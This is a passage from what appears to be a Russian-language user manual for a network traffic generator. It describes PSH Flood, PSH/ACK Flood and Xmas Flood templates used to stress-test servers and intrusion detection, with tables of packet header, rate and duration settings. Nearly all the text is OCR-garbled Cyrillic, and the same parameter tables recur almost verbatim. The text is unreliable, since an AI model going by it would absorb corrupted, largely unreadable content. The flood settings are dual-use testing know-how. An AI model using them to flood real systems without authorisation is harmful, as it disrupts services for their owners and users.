5.2.2.1 win 5.2.2.2) mapameTpbl KOTOPOro | 0ObeKTOB. 3amaiiTe Bec (0 YMOIYAHHUIO, BEC
OyoyT HCIOJNB30BaThCS Ul OTOPABKU | paclpeiesseT PaBHOMEPHO MAKEThl MEXIY
Tpaduka. Eciau BeiOpaHo Oosiee omHOTO | 0OBbekTamu «CeTr»)
00BEKTa, MO)KHO M3MCHUTH APAMETP «BECH,
OTBEYAIOIIUH 3a 0alaHCHPOBKY
pacnpeneneHus MAKEeTOB MEXIY
BBIOpaHHBIMH 00BeKTaMU «CeTi».

MAC-anpec Beiopannsie  06bekT «MAC-aapec» (cMm. | Brioepere oobexT «MAC-ampec» u3 crimcka

3aronoBok 5.2.3.1) mapamerpbl KOTOPOTO
OyoyT HCIOJNB30BaThCS UL OTIPABKH
Tpaduka

00BEKTOB.

Cnyuariaerii MAC-ampec — g Kaxkaoro
nakera OyZeT CreHepupoBaH CIIydaifHBIN
MAC-anpec oTmpaButes

6) Llenu — nmapameTpsl A7 BbIOOpa 00BbEKTA, B KOTOPBIH Oy1eT HanpaBiaThes Tpaduk

(cMm .3aromoBok 5.2.2.3);

Ha3panue Onucanne 3HayeHne
MAC-aapec Briopannbie o0bekTr «MAC-agpec» (cm. | Crmywaitaeiiit MAC-agpec — ansd KaxIoro
3aroJI0BOK 4)) mapaMeTpbl KOTOpOro OyayT | makerta OyJIeT CreHepUpOBaH CIydYaiHbIH
WCTIONIb30BATRCS JIJISl OTIIPaBKH Tpaduka MAC-anpec nonaygarens
Bribepere 00pekT « MAC-ampecy U3 crimcka
00BEKTOB.
Llenb Bri6pannsie 00bekT «CeTn» (cM. 3aronoBok | Bribepere o00vexkT «CeTn» U3  CHHCKa

5.2.2.3) mapaMeTpbl  KOTOPOTO  OyAyT
WCIIONIb30BAThCsl JUIS OTIPaBKH Tpaduka B

BBIOpaHHYIO 1IETb.

00BEKTOB.

B) IP 3aronoBok (L3) — mapamerpsr HacTpoek IP 3aromoBkoB Ha yposue L3 TPC/IP,

OIMCcaHue KOTOPBIX yKa3aHbl B Tabm. 71;

Nsm.

Jlucm

Ne dokym.

Modnuce |Hama
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Ta6a. 71 — ITapamerpsl «IP 3aromoBok (L3)»

HasBanue Onucanne 3HauyeHue
TTL (Time to | Hapamerp TTL onpexensier MakcumanbHoe | 3ajaiite YUCIOBOE 3HAYECHHUE (o
Live)

KOJIMYECTBO  MapHIPYTH3aTOPOB  (XOIIOB),
4yepe3 KOTOPBIE MOXET MPOWTH IaKeT

JTAaHHBIX, PEXIE 9YeM OH OyAeT OTOPOIICH.

yMON4aHMioo, 3HaueHue TTL sBusercs:

«128»)

ToS (Type of

DSCP — »st0 mone B 3aronoBke IP-makeTa,

3apgaiite YHUCIJIOBOE 3HAUYECHUE (mo

Service) KOTOpO€ WCIIONB3YETCsl JUIS OMpeleseHus | yMoauaHuio, 3Hauenue DSCP sBisercs: «7)
npropuTeTa u 00padoTku Tpaduka
ECN — sT0 MexaHn3M, KOTOPEI 1M03BOIIsIeT | BriOepere 3HaUeHNE U3 CIICKA:
MapLIpyTH3aTOpaM  YBEAOMIATH  y31sl O | 00 (Non-ECT)
neperpyskax B cetu 6e3 cOpoca makeTos. 01 (ECT(L))
10 (ECT(0))
11 (CE (Congestion Experienced))
Cry4aiiHbIi VHUKaNbHBI ~ HACHTH(QHUKATOP  TAKeTa, | BKIOYHTH/BBIKIIOUUTH TyMOIED
ID BBIOpaHHBIH  Clly4aiiHBIM  oOpazoM  Juis

paznuueHus: pparMeHTOB OJHOTO M TOTO XKe
IP-makera

3nauenue 1D YucnoBoit WACHTHU(HUKATOp, TPHCBOCHHBIA | 3amaiite YHUCIIOBOE 3HauYEHUE (o
KaXxaomy [P-makety pitie: €ro | ymonm4aHuto, 3HaueHue «3HaueHue ID»
uneHTuUKaMH Tpu  ¢GparMeHtaruu  u | sBiusercs: «0-65535»)
cOopke
[Tapamerp gocTymeH, ecinu — mapamerp

«Crryuaitasrii ID» BeIKITIOUEH

r) TCP 3aromnoBok (L4) — mapamerpsl HacTpoek IP 3arooskos Ha yposue L4 TPC/IP,

OIMCaHMe KOTOPHIX yKa3aHbl B Tabm. 72,

Ta6a. 72 — Iapametpsl «TCP 3arosoBok (L4)»

HazBanue Onucanne 3HaveHue
Max. Segment Size | MakcumanpHBIH pa3Mep CerMeHTa | 3afaidiTe YUCIOBOE 3HaueHWe (10
(MaxkcumanbHbIH pasmep

CETMEHTa)

oTpeeNseT MaKCHUMaJIbHBIA
00BEM TAHHBIX, KOTOPBIH MOXET
ObITh Tepeqan B omgHoM TCP-

CEIMCHTC

YMOJI4YaHUIO, 3HA4YCHUC Max.

Segment Size sBisercs: «1460»)

WS (IP Options)

[Mapamerp WS (Window Scale)
OTHOCHUTCSI K MEXaHU3My
MacmrabupoBanust okHa TCP,
KOTOPBII  ITO3BOJISIET  yBEJIMYHUTH
pa3Mep OKHa [UIS YHpaBJICHUS
ITOTOKOM JaHHBIX.

3amaiiTe 4uciIoOBOoe 3HaYeHUe (1Mo
YMOIYaHHIO, 3Ha4YeHUe WS
SIBIISIETCST: «64»)

Window Size (Pa3mep okHa)

Pasmep okma TCP ompenenser
00bEM JAHHBIX, KOTOPBIA MOXET
OBITh OTIpaBiICH 0e3 OXHUIAHHS
MTOJITBEPKICHUS OT MOITydaTeIs.

3anaiite unciaoBoe 3HaUeHHE (T10
yMoJl4aHuo, 3HaueHne Window
Size sBnsiercs: «256»)

Crnyuaiinerii Sequence Number

CryuaifHO€ 4HCII0, UCIIOJIB3yEMOE
IS MHUIHATA3aIAN
MIOCJIEI0BATENILHOCTH HOMEPOB B

BKIIHOUUTE/BBIKITIOUNTE TYMOJIED

Nsm.

Jlucm

Ne dokym. lModnucsk
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MPOTOKOJIaX CBsI3U  (Hampumep,
TCP)

3navyenue Sequence Number Texyiee YHUCIIO B | 3amaiite yucioBoe 3HaueHue (1Mo
MOCJIEZIOBATEILHOCTH, YMOJTYaHHIO, 3HaueHHe Sequence

MOTOKE Mnepcaavn

YKa3bIBaromee nopsaoK JaHHBIX B

Number «0-

4294967295»)

SABJIACTCA:

n) IlapameTpbl cKOpOCTH — MapaMeTp, OTBEUAIOLIHII 32 CKOPOCTh NIEpeaun MAKeTOB,

OMHMCaHue KOTOPOTo yKazaHo B Tabmn. 73;

Ta6a. 73 — Ilapamerp «CkopocTh»

HazBanmue Onucanmne 3HaueHnmne
Tymbnep «be3 | MakcumalibHasl MPOU3BOAUTEIBHOCTh 0€3 | BKIIIOYHTE/BBIKIIOUUTH
OTPaHUYCHUS OTpPaHHYCHUH Ha KOJ-BO OTIPABIIEMBIX

3aIpOCOB B CEKYHIY
ITakeToB B | Kakoe  konmuectBo  makeroB  Oymer | 3amaiiTe 4McIOBOE 3HAUCHUE
CEeKyHIY OTMPaBJICHO B OJIHY CEKYHIY
WntepBan mexay | Onuus MO3BOJSIET HACTPOUTH 3aIEPKKy | 3ajaiiTe 4YMCIOBOE 3HaYCHHE
OTIIPaBKOH MEXIy OTIPaBKOH 3aJaHHOTO  KOJI-Ba
3a1pocoB 3allpOCOB B CEKYHY.

e) JIMTenbHOCTh - mapameTp, OTBEUAIONIUNA 3a BpeMs padoOThl IJIarMHa, OIMHCaHUE

KOTOporo ykazano B Tabn. 74.

Ta6ua. 74 — Ilapametp «lauTeabHOCTH»

HazBanmue Onucanmne 3nauenue
JImMTeIpHOCTh Bpewms rerepanun Tpadurka 3agaiiTe YUCIOBOE 3HAYCHUE W BBHIOEpETE
TeHepamnu BEIMYUHY (B CEKyHIaX, MUHYyTaX WA

yacax)

5.3.1.11 PSH Flood

PSH Flood — mmarun i rerepanuu Tpaduka, KOTOPBIH OTIPABISET OOJBIIOE KOJUYECTBO

MIaKeTOB C YCTaHOBJIEHHBIM (uiaroM PSH, TpeOyromux HemenneHHo oOpaOOTKM JaHHBIX Ha

CTOPOHC TI0JIyYaTeJis.

OtoT 1abI0H HUCIOJIB3YCTCA JId TECTUPOBAHUS HpOHYCKHOﬁ

CIIOCOOHOCTH CcepBepa U ero CocoOOHOCTH 00padaThiBaTh MHTEHCUBHBIN TpauK.

JIaHHBIN IUIATWH COCTOUT U3 CIEAYIOIIUX TapaMeTpPOB:

a) VcTOYHMKM — COBOKYMHOCTh W3 BBIOpaHHOTO areHTa, mHTepdeiicoB u MAC-

aJipecoB C KOTOPBIX areHT OyAeT OTHPAaBIATh U MpUHUMATh Tpaduk. OmnrcaHue napaMmeTpoB

ykazanbl B Tabn. 40;

Nsm.
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Taba. 75— IapameTpbl «ACTOUHHKHY

HasBanue Onucanne 3HauyeHue

ATeHT ATeHT, ¢ KOTOpPOro OyaeT OTHpaBisIThCS | BbiOepere areHT U3 CIICKA areHTOB
Tpaduk M C KOTOpBIM OyAeT NpHHUMATH
Tpaduk.

CeTeroii CereBoii mHTep(elic arenra, ¢ koroporo | Bribepere uHTEpdEiic u3 CIHCKa

unrepetic OyaeT oTmpaBisAThCA TpadHK M ¢ KOTOpHIH | mHTepdeiicoB
Oyzet mpuHUMATh Tpaduk

Cets Bribpanubie 06bekT «CeTu» (cM. 3aronoBok | Bribepere o00bekT «CeTw» U3 cOHCKa
5.2.2.1 win 5.2.2.2) mapameTpbl KOTOPOro | 0ObeKTOB. 3amaiiTe Bec (0 YMOIYAHHUIO, BEC
OyoyT HCIOJNB30BaThCS Ul OTOPABKU | paclpeiesseT PaBHOMEPHO MAKEThl MEXIY
Tpaduka. Eciau BeiOpaHo Oosiee omHOTO | 0OBbekTamu «CeTr»)
00BEKTa, MO)KHO M3MCHUTD APAMETP «BECH,
OTBEYAIOIIUH 3a 0alaHCHPOBKY
pacnpeneneHus MAKEeTOB MEXIY
BBIOpaHHBIMH 00BeKTaMU «CeTi».

MAC-anpec Beiopannsie  06bekT «MAC-aapec» (cMm. | Brioepere oobexT «MAC-anpec» u3 crimcka

3aronoBok 5.2.3.1) mapamerpbl KOTOPOTO
OyoyT HCIOJNB30BaThCS UL OTIPABKH
Tpaduka

00BEKTOB.

Cnyuariaerii MAC-ampec — g Kaxkaoro
nakera OyZeT CreHepupoBaH CIIydaifHBIN
MAC-anpec oTmpaButes

6) Llenu — nmapameTpsl A7 BbIOOpa 00BbEKTA, B KOTOPBIH Oy1eT HanpaBiaThes Tpaduk

(cMm .3aromoBok 5.2.2.3);

Ha3panue Onucanne 3HayeHne
MAC-aapec Briopannbie o0bekTr «MAC-agpec» (cm. | Crmywaitaeiiit MAC-agpec — ansd KaxIoro
3aroJI0BOK 4)) mapaMeTpbl KOTOpOro OyayT | makerta OyJIeT CreHepUpOBaH CIydYaHbIH
WCTIONIb30BATRCS JIJISl OTIIPaBKH Tpaduka MAC-anpec nonaygarens
Bribepere 00pekT « MAC-ampecy U3 cimcka
00BEKTOB.
Llenb Bri6pannsie 00bekT «CeTn» (cM. 3aronoBok | Bribepere o00vexkT «CeTn» U3  CHHCKa

5.2.2.3) mapaMeTpbl  KOTOPOTO  OyAyT
WCIIONIb30BAThCsl JUIS OTIPaBKH Tpaduka B

BBIOpaHHYIO 1IETb.

00BEKTOB.

B) IP 3aronoBok (L3) — mapamerpsr HacTpoek IP 3aromoBkoB Ha yposue L3 TPC/IP,

OIMCaHMe KOTOPHIX yKa3aHbl B Tabin. 76,

Nsm.
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Ne dokym.
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Ta6a. 76 — Ilapamerps! «IP 3arosoBok (L3)»

HasBanue Onucanne 3HauyeHue
TTL (Time to | Hapamerp TTL onpexensier MakcumanbHoe | 3ajaiite YUCIOBOE 3HAYECHHUE (o
Live)

KOJIMYECTBO  MapHIPYTH3aTOPOB  (XOIIOB),
4yepe3 KOTOPBIE MOXET MPOWTH IaKeT

JTAaHHBIX, PEXIE 9YeM OH OyAeT OTOPOIICH.

yMON4aHMioo, 3HaueHue TTL sBusercs:

«128»)

ToS (Type of

DSCP — »st0 mone B 3aronoBke IP-makeTa,

3apgaiite YHUCIJIOBOE 3HAUYECHUE (mo

Service) KOTOpO€ WCIIONB3YETCsl JUIS OMpeleseHus | yMoauaHuio, 3Hauenue DSCP sBisercs: «7)
npropuTeTa u 00padoTku Tpaduka
ECN — sT0 MexaHn3M, KOTOPEI 1M03BOIIsIeT | BriOepere 3HaUeHNE U3 CIICKA:
MapLIpyTH3aTOpaM  YBEAOMIATH  y31sl O | 00 (Non-ECT)
neperpyskax B cetu 6e3 cOpoca makeTos. 01 (ECT(L))
10 (ECT(0))
11 (CE (Congestion Experienced))
Cry4aiiHbIi VHUKaNbHBI ~ HACHTH(QHUKATOP  TAKeTa, | BKIOYHTH/BBIKIIOUUTH TyMOIED
ID BBIOpaHHBIH  Clly4aiiHBIM  oOpazoM  Juis

paznuueHus: pparMeHTOB OJHOTO M TOTO XKe
IP-makera

3nauenue 1D YucnoBoit WACHTHU(HUKATOp, TPHCBOCHHBIA | 3amaiite YHUCIIOBOE 3HauYEHUE (o
KaXxaomy [P-makety pitie: €ro | ymonm4aHuto, 3HaueHue «3HaueHue ID»
uneHTuUKaMH Tpu  ¢GparMeHtaruu  u | sBiusercs: «0-65535»)
cOopke
[Tapamerp gocTymeH, ecinu — mapamerp

«Crryuaitasrii ID» BeIKITIOUEH

r) TCP 3aromnoBok (L4) — mapamerpsl HacTpoek IP 3arooskos Ha yposue L4 TPC/IP,

OINMCaHNEe KOTOPBIX yKa3aHbl B Tabn. 77;

Ta6a. 77 — Iapametpsl «TCP 3arosoBok (L4)»

HazBanue Onucanne 3HaveHue
Max. Segment Size | MakcumanpHBIH pa3Mep CerMeHTa | 3afaidiTe YUCIOBOE 3HaueHWe (10
(MaxkcumanbHbIH pasmep

CETMEHTa)

oTpeeNseT MaKCHUMaJIbHBIA
00BEM TAHHBIX, KOTOPBIH MOXET
ObITh Tepeqan B omgHoM TCP-

CEIMCHTC

YMOJI4YaHUIO, 3HA4YCHUC Max.

Segment Size sBisercs: «1460»)

WS (IP Options)

[Mapamerp WS (Window Scale)
OTHOCHUTCSI K MEXaHU3My
MacmrabupoBanust okHa TCP,
KOTOPBII  ITO3BOJISIET  yBEJIMYHUTH
pa3Mep OKHa [UIS YHpaBJICHUS
ITOTOKOM JaHHBIX.

3amaiiTe 4uciIoOBOoe 3HaYeHUe (1Mo
YMOIYaHHIO, 3Ha4YeHUe WS
SIBIISIETCST: «64»)

Window Size (Pa3mep okHa)

Pasmep okma TCP ompenenser
00bEM JAHHBIX, KOTOPBIA MOXET
OBITh OTIpaBiICH 0e3 OXHUIAHHS
MTOJITBEPKICHUS OT MOITydaTeIs.

3anaiite unciaoBoe 3HaUeHHE (T10
yMoJl4aHuo, 3HaueHne Window
Size sBnsiercs: «256»)

Crnyuaiinerii Sequence Number

CryuaifHO€ 4HCII0, UCIIOJIB3yEMOE
IS MHUIHATA3aIAN
MIOCJIEI0BATENILHOCTH HOMEPOB B

BKIIHOUUTE/BBIKITIOUNTE TYMOJIED
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MPOTOKOJIaX CBsI3U  (Hampumep,
TCP)

3navyenue Sequence Number Texyiee YHUCIIO B | 3amaiite yucioBoe 3HaueHue (1Mo
MOCJIEZIOBATEILHOCTH, YMOJTYaHHIO, 3HaueHHe Sequence

MOTOKE Mnepcaavn

YKa3bIBaromee nopsaoK JaHHBIX B

Number «0-

4294967295»)

SABJIACTCA:

n) IlapameTpbl cKOpOCTH — MapaMeTp, OTBEUAIOLIHII 32 CKOPOCTh NIEpeaun MAKeTOB,

OMHCaHue KOTOPOTo yKazaHo B Tabmn. 78;

Ta6a. 78 — Ilapamerp «CkopocTh»

HazBanmue Onucanmne 3HaueHnmne
Tymbnep «be3 | MakcumalibHasl MPOU3BOAUTEIBHOCTh 0€3 | BKIIIOYHTE/BBIKIIOUUTH
OTPaHUYCHUS OTpPaHHYCHUH Ha KOJ-BO OTIPABIIEMBIX

3aIpOCOB B CEKYHIY
ITakeToB B | Kakoe  konmuectBo  makeroB  Oymer | 3amaiiTe 4McIOBOE 3HAUCHUE
CEeKyHIY OTMPaBJICHO B OJIHY CEKYHIY
WntepBan mexay | Onuus MO3BOJSIET HACTPOUTH 3aIEPKKy | 3ajaiiTe 4YMCIOBOE 3HaYCHHE
OTIIPaBKOH MEXIy OTIPaBKOH 3aJaHHOTO  KOJI-Ba
3a1pocoB 3allpOCOB B CEKYHY.

e) JIMTenbHOCTh - mapameTp, OTBEUAIONIUNA 3a BpeMs padoOThl IJIarMHa, OIMHCaHUE

KoToporo ykazano B Tabm. 79.

Ta6ua. 79 — [lapametp «lauTeabHOCTH»

HazBanmue Onucanmne 3nauenue
JImMTeIpHOCTh Bpewms rerepanun Tpadurka 3agaiiTe YUCIOBOE 3HAYCHUE W BBHIOEpETE
TeHepamnu BEIMYUHY (B CEKyHIaX, MUHYyTaX WA

yacax)

5.3.1.12 PSH/ACK Flood

PSH/ACK Flood — mmarun s reHepanuu Tpaduka, KOTOPBIH OTIPABISIET OOJIBIIOE

konuyecTBO makeToB ¢ ¢maramu PSH u ACK, co3nmaBas Harpy3ky Ha cepBep H3-3a

HCO6XOI[I/IMOCTI/I HEMEIJICHHOM O6pa6OTKI/I JaHHBbIX. OTOT mAabJI0H ITOMOracT OLICHUTH, KaK

CCPBCP CIPABIIACTCA C BBICOKOM MHTE€HCHUBHOCTBIO 3aIIpoOCoOB.

I[aHHLIfI IJIarvuH COCTOUT U3 CIICAYIOIHNX ITapaMCETPOB:

a) VCTOYHMKM — COBOKYMHOCTh W3 BBIOpaHHOTO areHTa, mHTepdeiicoB u MAC-

a/IpecoB C KOTOPBIX areHT OyJeT OTHpaBlIATh U MPpUHUMATh Tpauk. OnucaHue napaMmeTrpoB

ykazanbl B Tabn. 40;
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Ta6u. 80 — Ilapamerpsbl «ACTOYHHUKI»

HasBanue Onucanne 3HauyeHue

ATeHT ATeHT, ¢ KOTOpPOro OyaeT OTHpaBisIThCS | BbiOepere areHT U3 CIICKA areHTOB
Tpaduk M C KOTOpBIM OyAeT NpHHUMATH
Tpaduk.

CeTeroii CereBoii mHTep(elic arenra, ¢ koroporo | Bribepere uHTEpdEiic u3 CIHCKa

unrepetic OyaeT oTmpaBisAThCA TpadHK M ¢ KOTOpHIH | mHTepdeiicoB
Oyzet mpuHUMATh Tpaduk

Cets Bribpanubie 06bekT «CeTu» (cM. 3aronoBok | Bribepere o00bekT «CeTw» U3 cOHCKa
5.2.2.1 win 5.2.2.2) mapameTpbl KOTOPOro | 0ObeKTOB. 3amaiiTe Bec (0 YMOIYAHHUIO, BEC
OyoyT HCIOJNB30BaThCS Ul OTOPABKU | paclpeiesseT PaBHOMEPHO MAKEThl MEXIY
Tpaduka. Eciau BeiOpaHo Oosiee omHOTO | 0OBbekTamu «CeTr»)
00BEKTa, MO)KHO M3MCHUTH APAMETP «BECH,
OTBEYAIOIIUH 3a 0alaHCHPOBKY
pacnpeneneHus MAKEeTOB MEXIY
BBIOpaHHBIMH 00BeKTaMU «CeTi».

MAC-anpec Beiopannsie  06bekT «MAC-aapec» (cMm. | Brioepere oobexT «MAC-ampec» u3 crimcka

3aronoBok 5.2.3.1) mapamerpbl KOTOPOTO
OyoyT HCIOJNB30BaThCS UL OTIPABKH
Tpaduka

00BEKTOB.

Cnyuariaerii MAC-ampec — g Kaxkaoro
nakera OyZeT CreHepupoBaH CIIydaifHBIN
MAC-anpec oTmpaButes

6) Llenu — nmapameTpsl A7 BbIOOpa 00BbEKTA, B KOTOPBIH Oy1eT HanpaBiaThes Tpaduk

(cMm .3aromoBok 5.2.2.3);

Ha3panue Onucanne 3HayeHne
MAC-aapec Briopannbie o0bekTr «MAC-agpec» (cm. | Crmywaitaeiiit MAC-agpec — ansd KaxIoro
3aroJI0BOK 4)) mapaMeTpbl KOTOpOro OyayT | makerta OyJIeT CreHepUpOBaH CIydYaHbIH
WCTIONIb30BATRCS JIJISl OTIIPaBKH Tpaduka MAC-anpec nonaygarens
Bribepere 00pekT « MAC-ampecy U3 cimcka
00BEKTOB.
Llenb Bri6pannsie 00bekT «CeTn» (cM. 3aronoBok | Bribepere o00vexkT «CeTn» U3  CHHCKa

5.2.2.3) mapaMeTpbl  KOTOPOTO  OyAyT
WCIIONIb30BAThCsl JUIS OTIPaBKH Tpaduka B

BBIOpaHHYIO 1IETb.

00BEKTOB.

B) IP 3aronoBok (L3) — mapamerpsr HacTpoek IP 3aromoBkoB Ha yposue L3 TPC/IP,

OIMCaHMe KOTOPHIX yKa3aHbl B Taom. 81,
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Ta6a. 81 — ITapamerpsl «IP 3aromoBok (L3)»

HasBanue Onucanne 3HauyeHue
TTL (Time to | Hapamerp TTL onpexensier MakcumanbHoe | 3ajaiite YUCIOBOE 3HAYECHHUE (o
Live)

KOJIMYECTBO  MapHIPYTH3aTOPOB  (XOIIOB),
4yepe3 KOTOPBIE MOXET MPOWTH IaKeT

JTAaHHBIX, PEXIE 9YeM OH OyAeT OTOPOIICH.

yMON4aHMioo, 3HaueHue TTL sBusercs:

«128»)

ToS (Type of

DSCP — »st0 mone B 3aronoBke IP-makeTa,

3apgaiite YHUCIJIOBOE 3HAUYECHUE (mo

Service) KOTOpO€ WCIIONB3YETCsl JUIS OMpeleseHus | yMoauaHuio, 3Hauenue DSCP sBisercs: «7)
npropuTeTa u 00padoTku Tpaduka
ECN — sT0 MexaHn3M, KOTOPEI 1M03BOIIsIeT | BriOepere 3HaUeHNE U3 CIICKA:
MapLIpyTH3aTOpaM  YBEAOMIATH  y31sl O | 00 (Non-ECT)
neperpyskax B cetu 6e3 cOpoca makeTos. 01 (ECT(L))
10 (ECT(0))
11 (CE (Congestion Experienced))
Cry4aiiHbIi VHUKaNbHBI ~ HACHTH(QHUKATOP  TAKeTa, | BKIOYHTH/BBIKIIOUUTH TyMOIED
ID BBIOpaHHBIH  Clly4aiiHBIM  oOpazoM  Juis

paznuueHus: pparMeHTOB OJHOTO M TOTO XKe
IP-makera

3nauenue 1D YucnoBoit WACHTHU(HUKATOp, TPHCBOCHHBIA | 3amaiite YHUCIIOBOE 3HauYEHUE (o
KaXxaomy [P-makety pitie: €ro | ymonm4aHuto, 3HaueHue «3HaueHue ID»
uneHTuUKaMH Tpu  ¢GparMeHtaruu  u | sBiusercs: «0-65535»)
cOopke
[Tapamerp gocTymeH, ecinu — mapamerp

«Crryuaitasrii ID» BeIKITIOUEH

r) TCP 3aromnoBok (L4) — mapamerpsl HacTpoek IP 3arooskos Ha yposue L4 TPC/IP,

OIMCaHMue KOTOPHIX yKa3aHbl B Tabn. 82,

Ta6a. 82 — ITapamerpsl «TCP 3arosoBok (L4)»

HazBanue Onucanne 3HaveHue
Max. Segment Size | MakcumanpHBIH pa3Mep CerMeHTa | 3afaidiTe YUCIOBOE 3HaueHWe (10
(MaxkcumanbHbIH pasmep

CETMEHTa)

oTpeeNseT MaKCHUMaJIbHBIA
00BEM TAHHBIX, KOTOPBIH MOXET
ObITh Tepeqan B omgHoM TCP-

CEIMCHTC

YMOJI4YaHUIO, 3HA4YCHUC Max.

Segment Size sBisercs: «1460»)

WS (IP Options)

[Mapamerp WS (Window Scale)
OTHOCHUTCSI K MEXaHU3My
MacmrabupoBanust okHa TCP,
KOTOPBII  ITO3BOJISIET  yBEJIMYHUTH
pa3Mep OKHa [UIS YHpaBJICHUS
ITOTOKOM JaHHBIX.

3amaiiTe 4uciIoOBOoe 3HaYeHUe (1Mo
YMOIYaHHIO, 3Ha4YeHUe WS
SIBIISIETCST: «64»)

Window Size (Pa3mep okHa)

Pasmep okma TCP ompenenser
00bEM JAHHBIX, KOTOPBIA MOXET
OBITh OTIpaBiICH 0e3 OXHUIAHHS
MTOJITBEPKICHUS OT MOITydaTeIs.

3anaiite unciaoBoe 3HaUeHHE (T10
yMoJl4aHuo, 3HaueHne Window
Size sBnsiercs: «256»)

Crnyuaiinerii Sequence Number

CryuaifHO€ 4HCII0, UCIIOJIB3yEMOE
IS MHUIHATA3aIAN
MIOCJIEI0BATENILHOCTH HOMEPOB B

BKIIHOUUTE/BBIKITIOUNTE TYMOJIED
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MPOTOKOJIaX CBsI3U  (Hampumep,
TCP)

3navyenue Sequence Number Texyiee YHUCIIO B | 3amaiite yucioBoe 3HaueHue (1Mo
MOCJIEZIOBATEILHOCTH, YMOJTYaHHIO, 3HaueHHe Sequence

MOTOKE Mnepcaavn

YKa3bIBaromee nopsaoK JaHHBIX B

Number «0-

4294967295»)

SABJIACTCA:

n) IlapameTpbl cKOpOCTH — MapaMeTp, OTBEUAIOLIHII 32 CKOPOCTh NIEpeaun MAKeTOB,

OMHMCaHue KOTOPOTo yKazaHo B Tabmn. 83;

Ta6a. 83 — INapamerp «CkopocTh»

HazBanmue Onucanmne 3HaueHnmne
Tymbnep «be3 | MakcumalibHasl MPOU3BOAUTEIBHOCTh 0€3 | BKIIIOYHTE/BBIKIIOUUTH
OTPaHUYCHUS OTpPaHHYCHUH Ha KOJ-BO OTIPABIIEMBIX

3aIpOCOB B CEKYHIY
ITakeToB B | Kakoe  konmuectBo  makeroB  Oymer | 3amaiiTe 4McIOBOE 3HAUCHUE
CEeKyHIY OTMPaBJICHO B OJIHY CEKYHIY
WntepBan mexay | Onuus MO3BOJSIET HACTPOUTH 3aIEPKKy | 3ajaiiTe 4YMCIOBOE 3HaYCHHE
OTIIPaBKOH MEXIy OTIPaBKOH 3aJaHHOTO  KOJI-Ba
3a1pocoB 3allpOCOB B CEKYHY.

e) JIMTenbHOCTh - mapameTp, OTBEUAIONIUNA 3a BpeMs padoOThl IJIarMHa, OIMHCaHUE

KOTOporo ykazano B Tabn. 84.

Ta6u. 84 — Ilapametp «lauTeabHOCTH»

HazBanmue Onucanmne 3nauenue
JImMTeIpHOCTh Bpewms rerepanun Tpadurka 3agaiiTe YUCIOBOE 3HAYCHUE W BBHIOEpETE
TeHepamnu BEIMYUHY (B CEKyHIaX, MUHYyTaX WA

yacax)

5.3.1.13 Xmas Flood (All flags)

Xmas Flood (All flags) — marun ans reHepanuu Tpaduka, KOTOPBIA OTHPABISET OOJBIIOES

KOJIMYECTBO MakeToB C yctaHoBieHHbIMH Bcemu (piraramu TCP (URG, ACK, PSH, RST, SYN,

FIN). OToT 111a6J10H UCTIONB3YyeTCsI A1 TPOBEPKH YCTOMYMBOCTH CETEBBIX YCTPOIMCTB M CUCTEM

O6Hapy)KCHI/I$I BTOp)I(CHHf/'I K HEOOBIUHBIM H NMOTCHIUAJILHO BPCIOHOCHBIM IMAKCTaM.

I[aHHLIfI IJIaruH COCTOUT U3 CICAYIOIIHNX ITapaMCTPOB:

a) VCTOYHMKM — COBOKYMHOCTh W3 BBIOpaHHOTO areHTa, mHTepdeiicoB u MAC-

a/IpecoB C KOTOPBIX areHT OyJeT OTHpaBlIATh U MPpUHUMATh Tpauk. OnucaHue napaMmeTrpoB

ykazanbl B Tabn. 40;
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Ta6u. 85— IMapamerpsbl «AcTOYHHKI»

HasBanue Onucanne 3HauyeHue

ATeHT ATeHT, ¢ KOTOpPOro OyaeT OTHpaBisIThCS | BbiOepere areHT U3 CIICKA areHTOB
Tpaduk M C KOTOpBIM OyAeT NpHHUMATH
Tpaduk.

CeTeroii CereBoii mHTep(elic arenra, ¢ koroporo | Bribepere uHTEpdEiic u3 CIHCKa

unrepetic OyaeT oTmpaBisAThCA TpadHK M ¢ KOTOpHIH | mHTepdeiicoB
Oyzet mpuHUMATh Tpaduk

Cets Bribpanubie 06bekT «CeTu» (cM. 3aronoBok | Bribepere o00bekT «CeTw» U3 cOHCKa
5.2.2.1 win 5.2.2.2) mapameTpbl KOTOPOro | 0ObeKTOB. 3amaiiTe Bec (0 YMOIYAHHUIO, BEC
OyoyT HCIOJNB30BaThCS Ul OTOPABKU | paclpeiesseT PaBHOMEPHO MAKEThl MEXIY
Tpaduka. Ecau BeIOpaHo Oosiee oaHOTO | oO0bekTamu «CeTr»)
00BEKTa, MOYKHO M3MCHUTD HAPAMETP «BECH,
OTBEYAIOIIUH 3a 0alaHCHPOBKY
pacnpeneneHus MAKEeTOB MEXIY
BBIOpaHHBIMH 00BeKTaMU «CeTi».

MAC-anpec Beiopannsie  06bekT «MAC-aapec» (cMm. | Brioepere oobexT «MAC-anpec» u3 crimcka

3aronoBok 5.2.3.1) mapamerpbl KOTOPOTO
OyoyT HCIOJNB30BaThCS UL OTIPABKH
Tpaduka

00BEKTOB.

Cnyuariaerii MAC-ampec — g Kaxkaoro
nakera OyZeT CreHepupoBaH CIIydaifHBIN
MAC-anpec oTmpaButes

6) Llenu — nmapameTpsl A7 BbIOOpa 00BbEKTA, B KOTOPBIH Oy1eT HanpaBiaThes Tpaduk

(cMm .3aromoBok 5.2.2.3);

Ha3panue Onucanne 3HayeHne
MAC-aapec Briopannbie o0bekTr «MAC-agpec» (cm. | Crmywaitaeiiit MAC-agpec — ansd KaxIoro
3aroJI0BOK 4)) mapaMeTpbl KOTOpOro OyayT | makerta OyJIeT CreHepUpOBaH CIydYaiHbIH
WCTIONIb30BATRCS JIJISl OTIIPaBKH Tpaduka MAC-anpec nonaygarens
Bribepere 00pekT « MAC-ampecy U3 crimcka
00BEKTOB.
Llenb Bri6pannsie 00bekT «CeTn» (cM. 3aronoBok | Bribepere o00vexkT «CeTn» U3  CHHCKa

5.2.2.3) mapaMeTpbl  KOTOPOTO  OyAyT
WCIIONIb30BAThCsl JUIS OTIPaBKH Tpaduka B

BBIOpaHHYIO 1IETb.

00BEKTOB.

B) IP 3aronoBok (L3) — mapamerpsr HacTpoek IP 3aromoBkoB Ha yposue L3 TPC/IP,

OIMCaHMe KOTOPHIX yKa3aHbl B Tabin. 86;
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Ta6a. 86 — ITapamerpsl «IP 3arosoBok (L3)»

HasBanue Onucanne 3HauyeHue
TTL (Time to | Hapamerp TTL onpexensier MakcumanbHoe | 3ajaiite YUCIOBOE 3HAYECHHUE (o
Live)

